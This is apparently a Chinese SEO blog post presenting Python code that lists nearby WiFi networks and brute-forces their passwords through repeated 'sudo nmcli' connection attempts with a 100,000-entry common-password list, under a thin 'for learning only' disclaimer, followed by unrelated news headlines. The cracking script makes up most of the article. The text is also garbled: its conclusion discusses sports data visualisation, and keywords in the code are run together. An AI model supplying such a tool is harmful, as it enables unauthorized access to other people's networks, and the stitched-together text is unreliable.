WIFI破解码(怎样破开加密wifi密码)
admin
2023-09-05 17:06:17
0

WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。

因此,我们对WiFi密码的需求也没有之前那么迫切了。

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets

def display_targets(networks, security_type): print("select a target: n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " " print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks

2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi,

def prompt_for_target_choice(max): whileTrue: try: selected = int(input("nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单,就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args): for password in passwords: # necessary due to NetworkManager restart after unsuccessful attempt at login password = password.strip() # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8") if args.verbose isTrue: print(bcolors.HEADER+"** TESTING **: with password '" + decoded_line+"'"+bcolors.ENDC) if (len(decoded_line) >= 8): time.sleep(3) creds = os.popen("sudo nmcli dev wifi connect " + selected_network+" password "+decoded_line).read() # print(creds) if ("Error:"in creds.strip()): if args.verbose isTrue: print(bcolors.FAIL+"** TESTING **: password '" + decoded_line+"' failed."+bcolors.ENDC) else: sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" + decoded_line+"' succeeded."+bcolors.ENDC) else: if args.verbose isTrue: print(bcolors.OKCYAN+"** TESTING **: password '" + decoded_line+"' too short, passing."+bcolors.ENDC) print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!

下面就把它们串联在一起:

def main(): require_root() args = argument_parser() # The user chose to supplied their own url if args.url isnotNone: passwords = fetch_password_from_url(args.url) # user elect to read passwords form a file elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url) # grabbing the list of the network ssids func_call = start(1) networks = func_call[0] security_type = func_call[1] ifnot networks: print("No networks found!") sys.exit(-1) display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick] print("nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.") brute_force(target, passwords, args)

执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果:

  • 红色:测试失败
  • 绿色:破解成功
  • 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

以上就是爱惜日网»WIFI破解码(怎样破开加密wifi密码)的相关内容了,更多精彩请关注作者:爱惜日号SEO专员

声明:本文由爱惜日网/爱惜日号作者编辑发布,更多技术关注王听风!

相关内容

热门资讯

欧盟公布最终版《通用人工智能行... 欧盟委员会10日公布《通用人工智能行为准则》最终版本,旨在帮助企业遵守欧盟《人工智能法案》的相关规定...
帮扔垃圾每单补贴0.5元,骑手... 近日,某外卖平台试点“骑手帮扔垃圾”服务,每单补贴0.5元。对于这类增值服务,外卖骑手接受程度不一。...
关注脊柱侧弯,让孩子挺直腰杆 ... 14岁学生小雨(化名)最近被父母发现“肩膀一高一低”。小雨的父母原以为这只是小雨坐姿不正导致的,加上...
一斤超百元!知了猴怎么就火出圈... 每到盛夏时节,山东及周边地区的林间小路便热闹起来。夜幕降临,人们成群结队、手持手电、提着塑料盆,在树...
“偷拍神器”伪装成日常用品销售... 调查动机近日,有媒体调查发现,在一些电商平台、社交软件上,搜索“针孔摄像头”“隐藏摄像头”等词条,会...
消息人士称美国将向乌克兰提供价... 当地时间7月10日,消息人士接受路透社采访时表示,美国总统特朗普团队将向乌克兰提供价值3亿美元的军事...
湛江3岁男童扁桃体手术后脑死亡... 据媒体7月10日报道,广东湛江三岁男童扁桃体手术后脑死亡,医院称术前已告知家属风险。网络截图。7月1...
《为了人民美好生活接续奋斗——... 7月11日,新华社国家高端智库发布《为了人民美好生活接续奋斗——巩固拓展脱贫攻坚成果的中国实践与理论...
爆冷日!王曼昱、孙颖莎、萨巴伦... 王曼昱王曼昱、孙颖莎止步女单16强北京时间7月11日,乒乓球WTT美国大满贯女单1/8决赛,“海产姐...
门头已拆!月销千单的“网红”龙... 7月9日,话题#店员承认用草酸日洗超百斤龙虾#登上微博热搜榜,引发网友热议。记者实探:涉事门店已关近...
2025年度山东省省级机关公开... 根据《2025年度山东省省级机关公开遴选公务员公告》,现将我省2025年度省级机关公开遴选公务员面试...
今年以来中国游泳运动员接受兴奋... 2025年世界游泳锦标赛将于7月11日在新加坡揭幕。世界泳联水上运动诚信部门日前公布了所有世锦赛参赛...
泽连斯基:暂不举行俄乌谈判,考... 当地时间10日,乌克兰总统泽连斯基接受采访时表示,俄罗斯和乌克兰之间谈判暂时不会举行,因为双方商定的...
巴西总统:将与美国进行关税谈判... △巴西总统卢拉(资料图)在美国宣布将自8月1日起对巴西商品征收50%关税后,当地时间7月10日,巴西...
中国银联发布声明! 记者今天(10日)从中国银联了解到,近期,有机构或个人假冒中国银联名义从事违法经营活动,侵害商家、消...
被指出征东亚杯行李多,国足:5... 近日,中国国家男子足球队注意到网络上出现一些关于国足队员出征东亚杯携带较多行李入关的相关报道,引发一...
财政部发布《关于在政府采购活动... 《关于在政府采购活动中对自欧盟进口的医疗器械采取相关措施的通知》政策问答《财政部关于在政府采购活动中...
衡水一落马副局长用“原公务员”... 河北衡水枣强县民政局原副局长张某因犯罪落马,却用前公务员身份在社交平台上发布多条视频,引发网友关注。...
嫦娥七号2026年前后将发射,... 月球背面样品返回一年来,我国科学家围绕这些样品已经取得丰硕的科学研究成果,彰显了我国行星科学研究的综...
中国和马来西亚互免签证协定即将... 《中华人民共和国政府和马来西亚政府关于互免持公务普通护照和普通护照人员签证的协定》将于2025年7月...